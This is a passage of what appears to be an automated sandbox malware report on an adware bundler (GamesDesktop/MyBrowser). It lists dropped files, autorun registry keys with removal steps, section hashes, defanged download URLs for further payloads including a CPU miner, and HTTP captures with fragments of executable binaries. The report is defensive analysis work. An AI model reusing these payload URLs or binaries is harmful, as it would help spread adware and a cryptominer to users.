   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\pl.pak (220 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\libglesv2.dll (5442 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\VisualElements\splash-620x300.png (11 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\id.pak (202 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe (6841 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ru.pak (1612 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ta.pak (1784 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\hi.pak (1712 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\39.5.2171.95.manifest (222 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_100_percent.pak (7386 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome.dll (237340 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\d3dcompiler_46.dll (22433 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fr.pak (239 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_200_percent.pak (7972 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe (6841 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fa.pak (308 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\es.pak (230 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\bg.pak (1640 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\en-US.pak (189 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\it.pak (220 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\hr.pak (214 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\pt-BR.pak (217 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\cs.pak (223 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ca.pak (227 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sw.pak (208 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\et.pak (201 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\he.pak (253 bytes)
   %Documents and Settings%\All Users\Desktop\MyBrowser.lnk (1 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\resources.pak (121304 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\secondarytile.png (3 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\nacl_irt_x86_32.nexe (15801 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\VisualElements\logo.png (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsh5.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr4.tmp (7314 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp\inetc.dll (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\gmsd_re_005010095\1.20\cnf.cyl (269 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\6895.exe (14988 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-JSNSO.tmp\nss2D.tmp (3781 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\GAMESDESKTOP\GamesDesktop.lnk (812 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\encrypt.exe (4185 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-02VBD.tmp (4185 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-7FIQF.tmp (8657 bytes)
   %Program Files%\gmsd_re_005010095\gamesdesktop_widget.exe (77005 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\_isetup\_shfoldr.dll (23 bytes)
   %Program Files%\gmsd_re_005010095\is-FIG3R.tmp (22284 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.exe (23062 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-F0BR9.tmp (2105 bytes)
   %Program Files%\gmsd_re_005010095\unins000.dat (29605 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gamesdesktop_widget.7z (15278 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-P30K2.tmp (7433 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gmsd_re_005010095.7z (8657 bytes)
   %Program Files%\gmsd_re_005010095\gmsd_re_005010095.exe (29430 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\predm.7z (2105 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\ex.bat (1564 bytes)
   %Program Files%\gmsd_re_005010095\unins000.msg (375 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-JFB3K.tmp (15278 bytes)
   %Program Files%\gmsd_re_005010095\predm.exe (2321 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\upgmsd_re_005010095.7z (7433 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\itdownload.dll (1281 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\CheckProc.cmd (288 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "upgmsd_re_005010095.exe" = "%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.exe -runhelper"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "gmsd_re_005010095" = "%Program Files%\gmsd_re_005010095\gmsd_re_005010095.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	921600	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	1114112	1736	2048	2.02132	4af0600f577d7f64188b9f45dee90736

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 344
a5b362eaa5107233922d116064150b18
9ff8edb75794b91ea1849214e6ee377d
d81d5608ee051193cb414b623204ca2b
ff9206b73c90baa98ac67bd7dd72c5ca
574eb0e0104c14912a4029308e8bd9b6
4ffebd3e4e6d2c800ffb9d9f84f8a5cb
bd3438c3dde4aabbf901a55740958952
d5abbfdf5c541f8657a0989aa8c01036
07b8b896d1df713b168fb35fc1cdd003
db205e63f226072be250a9a94dfa3731
158a98a822f798bdb94723f9e1935623
fa58b09759639026299fe8d086b5c09d
692c8facf0591a41e8cb4be1671df672
9811196d1d42348220f9e9a2f9a4e3e8
2fae92324f64572d31a3a7ecd0590ce6
8bb9a9dea9311671e06482f9ec5318aa
c0c5cc8755825eaba05a4d361348392f
9a443574ea12da2f8cf331a9ba2ee28e
13166571a71af6a4221b72622dab8807
e727b97c7a7678a5c01f34c2a5633e76
26ed1b8284dc924e77b7c0588b4520f3
95a41fde49afb72046898a866001a95e
d27ee18d95dc184ee4d8d3791e6417d5
94aa7dbedeb69b99e633b79adec3428c
45ca65981b3c3e945b0e4cdc53db9ba2

Network Activity

URLs

URL	IP
hxxp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com/	54.235.132.107
hxxp://download-servers.com/SysInfo/Validate.exe	50.7.86.74
hxxp://download-servers.com/Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst=	50.7.86.74
hxxp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe	54.192.200.86
hxxp://download-servers.com/SysInfo/validator/timer.php	50.7.86.74
hxxp://cds.c5z6s5a3.hwcdn.net/69/all/cp/row/setup.exe
hxxp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe	54.239.168.251
hxxp://ipgeoapi.com/	54.197.235.183
hxxp://cds.c5z6s5a3.hwcdn.net/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=3&rnd=6895
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&os=XP32&chver=X&ffver=X&iever=6&app=12345&srcid=003266&default=ie&ver=107&crtnm=OralTeams&rnd=7900
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=100&n=install_browser_start_async&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=2620
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=250&n=install_browser_downloading&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=5571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=270&n=install_browser_all_thread_created_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=8217
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.004
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.001
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.003
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.002
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.005
hxxp://cds.r5q6q4j7.hwcdn.net/CPUminer/v6/Bundle_CPUminer.exe
hxxp://dl.tuto4pc.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=310&n=install_browser_all_thread_ended_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=9825
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=360&n=install_browser_all_files_in_place&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=183
hxxp://prof.eorezo.com/cgi-bin/get_protect.cgi?checking=true&version=gmsd_us_233&forceGEO=US	37.187.146.35
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_INSTALL_INI	37.187.152.38
hxxp://prof.eorezo.com/cgi-bin/get_protect.cgi	37.187.146.35
hxxp://ads.under-myscreen.be/cgi-bin/advert/getkws.cgi?did=90068&version=0&key=azJJ.s8MVPsHc	188.165.222.86
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_INSTALL_F11	37.187.152.38
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_INSTALL_FIN	37.187.152.38
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_COUNT1	37.187.152.38
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_DCOUNT1	37.187.152.38
hxxp://d10huri5h4o4a3.cloudfront.net/smt.exe	54.239.168.182
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=410&n=install_browser_install_ch_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=4838
hxxp://d27foqb3kkzkt9.cloudfront.net/sdk/binsis/2.2/BiTool.dll	54.239.168.175
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=480&n=install_browser_end_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=726
hxxp://cds.c5z6s5a3.hwcdn.net/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=4&rnd=4145
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/get_pre_offering_checks?uid=0935018A1F474F0AA5C4C276D894F821&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0	54.192.201.187
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/xml?uid=0935018A1F474F0AA5C4C276D894F821&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0	54.192.201.187
hxxp://d2fpsq9kg43yka.cloudfront.net/installers/bi_downloader/1443013514595/setup.exe	54.192.200.86
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=100&n=install_browser_start_async&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=2620	54.231.8.172
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.002	69.16.175.10
hxxp://livestatscounter.com/Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst=	95.211.189.16
hxxp://dl.staticclientstorage.com/69/all/cp/row/setup.exe	69.16.175.42
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.001	69.16.175.10
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=480&n=install_browser_end_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=726	54.231.8.172
hxxp://livestatscounter.com/SysInfo/validator/timer.php	95.211.189.16
hxxp://sub.spirlymo.com/installers/bi_downloader/1443013514595/setup.exe	54.239.168.245
hxxp://prof.youandmeandmeandyouhihi.com/cgi-bin/get_protect.cgi	37.187.148.132
hxxp://mystats.rgbdomsrv.com/installer.gif?action=started&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&os=XP32&chver=X&ffver=X&iever=6&app=12345&srcid=003266&default=ie&ver=107&crtnm=OralTeams&rnd=7900	54.231.2.220
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=410&n=install_browser_install_ch_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=4838	54.231.8.172
hxxp://www.software-forus.com/CPUminer/v6/Bundle_CPUminer.exe	205.185.216.10
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.004	69.16.175.10
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=270&n=install_browser_all_thread_created_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=8217	54.231.8.172
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=360&n=install_browser_all_files_in_place&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=183	54.231.8.172
hxxp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe	176.31.126.119
hxxp://logs.rgbdomsrv.com/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=4&rnd=4145	69.16.175.42
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.005	69.16.175.10
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=310&n=install_browser_all_thread_ended_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=9825	54.231.8.172
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=250&n=install_browser_downloading&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=5571	54.231.8.172
hxxp://logs.rgbdomsrv.com/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=3&rnd=6895	69.16.175.42
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.003	69.16.175.10
www.downloadsoup.com	54.243.139.119
s3.amazonaws.com	54.231.64.0
upd.adskyforever.com	37.187.147.141

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /smt.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d10huri5h4o4a3.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 211114

Connection: keep-alive

Date: Fri, 14 Aug 2015 19:47:15 GMT

Last-Modified: Wed, 25 Feb 2015 18:08:27 GMT

ETag: "20f288aa7d995a4bfcb240b66383ebf4"

Accept-Ranges: bytes

Server: AmazonS3

Age: 35684

X-Cache: Hit from cloudfront

Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EKSHo721g1QKy34eLBPHR_kTKbwYqxz0jYd4sHNcN5PP1IduGbJ92Q==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................................................................t....... ...f...........................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...0...............................rsrc....f... ...h...z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:43 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 23 Sep 2015 14:45:43 GMT..Connection: keep-alive..Content-Type: application/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codename Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: livestatscounter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Wed, 23 Sep 2015 14:45:39 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.24

36c..hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe.. /md=2 /v=som-tot-cpm-crb-crr..hXXp://livestatscounter.com/SysInfo/validator/timer.php..hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe.. q::cCnnykR3kEQycJE x#R3E#nqxkcn:x*:n*x:QcR#*D..hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe.. /installapp..hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe.. /idn /ch=NOCHPC..hXXp://VVV.software-forus.com/CPUminer/v6/Bundle_CPUminer.exe.. /ci 12216..hXXp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe../VERYSILENT..hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe..hXXp://d10huri5h4o4a3.cloudfront.net/policyname.exe.. /vpol=som..http://VVV.codec13sudha.com/download.php?l4J9dw==..hXXp://download-servers.com/SysInfo/Validate.exe.. /s..hXXp://download-servers.com/anyprotect/nosig/AnyProtectSetup.exe../s..0..HTTP/1.1 200 OK..Server: nginx/1.8.0..Date: Wed, 23 Sep 2015 14:45:39 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.5.24..36c..hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe.. /md=2 /v=som-tot-cpm-crb-crr..hXXp://livestatscounter.com/SysInfo/validator/timer.php..hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe.. q::cCnnykR3kEQycJE x#R3E#nqxkcn:x*:n*x:QcR#*D..hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe.. /installapp..https://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe.. /idn /ch=NOCHPC..hXXp://VVV.software-forus.com/CPUminer/v6/Bundle_CPUmin

<<< skipped >>>

GET /SysInfo/validator/timer.php HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: livestatscounter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Wed, 23 Sep 2015 14:45:40 GMT

Content-Type: application/octet-stream

Content-Length: 165898

Connection: keep-alive

X-Powered-By: PHP/5.5.24

Content-Transfer-Encoding: binary

Content-Disposition: attachment; filename=56xtF.exe

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................P...............................................t.......@...............................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...P...............................rsrc........@.......z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=3&rnd=6895 HTTP/1.1

Accept: */*

Host: logs.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:44 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1443019544.dop004.fr7.t,1443019544.cds054.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 23 Sep 2015 14:45:44 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 35..Content-Type: image/gif..X-HW: 1443019544.dop004.fr7.t,1443019544.cds054.fr7.c..GIF89a.............,...........D..;..

GET /SysInfo/Validate.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: download-servers.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Wed, 23 Sep 2015 14:45:38 GMT

Content-Type: application/octet-stream

Content-Length: 61981

Last-Modified: Fri, 15 May 2015 22:16:55 GMT

Connection: keep-alive

ETag: "55567057-f21d"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@.......................... ...............................................t...........C...........................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...................................rsrc....C.......D...z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /CPUminer/v6/Bundle_CPUminer.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.software-forus.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:45 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441897175"

Last-Modified: Thu, 10 Sep 2015 14:59:35 GMT

Cache-Control: max-age=56839

Content-Length: 104395

Content-Type: application/octet-stream

X-HW: 1443019545.dop007.fr7.t,1443019545.cds004.fr7.c

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L...^..K.................b...........6............@.....................................................................................8............................................................................................................text....a.......b.................. ..`.rdata...............f..............@..@.data................x..............@....ndata... 